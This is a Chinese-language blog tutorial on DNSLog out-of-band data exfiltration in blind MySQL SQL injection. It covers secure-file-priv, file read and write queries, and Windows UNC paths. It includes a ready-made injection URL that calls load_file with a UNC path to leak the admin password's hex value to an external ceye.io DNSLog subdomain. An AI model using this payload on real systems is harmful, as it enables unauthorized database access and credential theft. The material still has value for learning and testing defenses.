溫馨提示×

溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊×
其他方式登錄
點擊 登錄注冊 即表示同意《億速云用戶服務條款》

DNSLog在MySQL注入中的方法是什么

發(fā)布時間:2021-12-04 11:33:56 來源:億速云 閱讀:235 作者:iii 欄目:安全技術

這篇文章主要介紹“DNSLog在MySQL注入中的方法是什么”,在日常操作中,相信很多人在DNSLog在MySQL注入中的方法是什么問題上存在疑惑,小編查閱了各式資料,整理出簡單好用的操作方法,希望對大家解答”DNSLog在MySQL注入中的方法是什么”的疑惑有所幫助!接下來,請跟著小編一起來學習吧!

關于DNSlog在Web攻擊的利用

簡單理解就是在某些無法直接利用漏洞獲得回顯的情況下,但是目標可以發(fā)起DNS請求,這個時候可以通過DNSlog這種方式把想獲得的數(shù)據(jù)外帶出來。

常用在哪些情況下

  1. SQL注入中的盲注

  2. 無回顯的命令執(zhí)行

  3. 無回顯的SSRF

DNSlog攻擊的基本原理

DNSLog在MySQL注入中的方法是什么

作為攻擊者,提交注入語句,讓數(shù)據(jù)庫把需要查詢的值和域名拼接起來,然后發(fā)生DNS查詢,我們只要能獲得DNS日志,就得到了想要的值。所以我們需要有一個自己的域名,然后再域名商處配置一條NS記錄,然后我們在NS服務器上獲取DNS日志即可。

DNSLOG在MySQL數(shù)據(jù)庫中SQL注入的實戰(zhàn)

本次演示一個最常見的注入場景,就是WHERE后面條件處的注入。實驗環(huán)境有一個test_user表,三個字段id、user、pass。如下

iduserpass
1adminadmin123

最后就不再自己搭建一個DNS服務器了,直接用ceye.io這個平臺,這個平臺就集成了Dnslog的功能。

需要條件

  1. MySQL開啟load_file()

  2. DNSLog平臺(hyuga、CEYE)

  3. Windows平臺

Mysql服務端文件讀寫

條件:服務端配置可讀寫目錄和正確的用戶權限。

安全保護

mysql服務端的文件讀取有很多的條件限制,主要是mysql數(shù)據(jù)庫的配置,為了安全原因,當讀取位于服務器上的文本文件時,文件必須處于數(shù)據(jù)庫目錄可被所有人讀取。你可以通過執(zhí)行show variables like '%secure%'來查看。

secure-file-priv參數(shù)是用來限制LOAD DATA,SELECT ... OUTFILE,DUMPFILELOAD_FILE()可以操作的文件夾。

secure-file-priv的值可以分為三種情況:

  1. secure-file-priv的值為null,表示顯示mysqld不允許導入|導出

  2. secure-file-priv的值為/tmp/,表示限制mysqld的導入|導出只能發(fā)生在/tmp/目錄下,此時如果讀寫發(fā)生在其他文件夾中,就會報錯

  3. secure-file-priv的值沒有具體值,表示不對mysqld的導入|導出做限制。

除此之外,讀取或寫入文件必須擁有可操作的用戶權限否則會報錯。

ERROR 1045 (28000): Access denied for user

讀取文件

SELECT LOAD_FILE('/var/lib/mysql-files/aaa') AS Result;
create database test;
create table test (id TEXT, content TEXT);
load data infile "/var/lib/mysql-files/aaa" into table test.test FIELDS TERMINATED BY '\n\r';

寫入文件

select group_concat(id) from test INTO DUMPFILE "/var/lib/mysql-files/aaaaa";

load_file

MySQL應該是在實戰(zhàn)中利用DNSLOG最多的。

在MySQL中,有一個load_file函數(shù)可以用來讀取本地的文件。

http://127.0.0.1/mysql.php?id=1 union select 1,2,load_file(concat('\\\\',(SELECT hex(pass) FROM test.test_user WHERE user='admin' LIMIT 1),'.mysql.nk40ci.ceye.io\\abc'))

可以看到test_user中的pass字段的值的Hex碼就被查詢出來了,為什么這個地方Hex編碼的目的就是減少干擾,因為很多時候數(shù)據(jù)庫字段的值可能是有特殊符號的,這些特殊符號拼接在域名里是無法做DNS查詢的,因為域名有一定的規(guī)范,有些特殊符號是不能帶入的。

注意:load_file函數(shù)再Linux下是無法用來做DNSLOG攻擊的,因為這里就涉及到Windows的UNC路徑。

UNC路徑

百度的UNC路徑的解釋

UNC是一種命名慣例, 主要用于在Microsoft Windows上指定和映射網(wǎng)絡驅動器. UNC命名慣例最多被應用于在局域網(wǎng)中訪問文件服務器或者打印機。我們?nèi)粘3S玫木W(wǎng)絡共享文件就是這個方式。

其實我們平常在Windows中用共享文件的時候就會用到這種網(wǎng)絡地址的形式

\\sss.xxx\test\

這也就解釋了為什么CONCAT()函數(shù)拼接了4個\了,因為轉義的原因,4個\就變成了2個\,目的就是利用UNC路徑。

因為Linux沒有UNC路徑這個東西,所以當MySQL處理Linux系統(tǒng)中的時候,是不能用這種方式外帶數(shù)據(jù)的。

到此,關于“DNSLog在MySQL注入中的方法是什么”的學習就結束了,希望能夠解決大家的疑惑。理論與實踐的搭配能更好的幫助大家學習,快去試試吧!若想繼續(xù)學習更多相關知識,請繼續(xù)關注億速云網(wǎng)站,小編會繼續(xù)努力為大家?guī)砀鄬嵱玫奈恼拢?/p>

向AI問一下細節(jié)

免責聲明:本站發(fā)布的內(nèi)容(圖片、視頻和文字)以原創(chuàng)、轉載和分享為主,文章觀點不代表本網(wǎng)站立場,如果涉及侵權請聯(lián)系站長郵箱:is@yisu.com進行舉報,并提供相關證據(jù),一經(jīng)查實,將立刻刪除涉嫌侵權內(nèi)容。

AI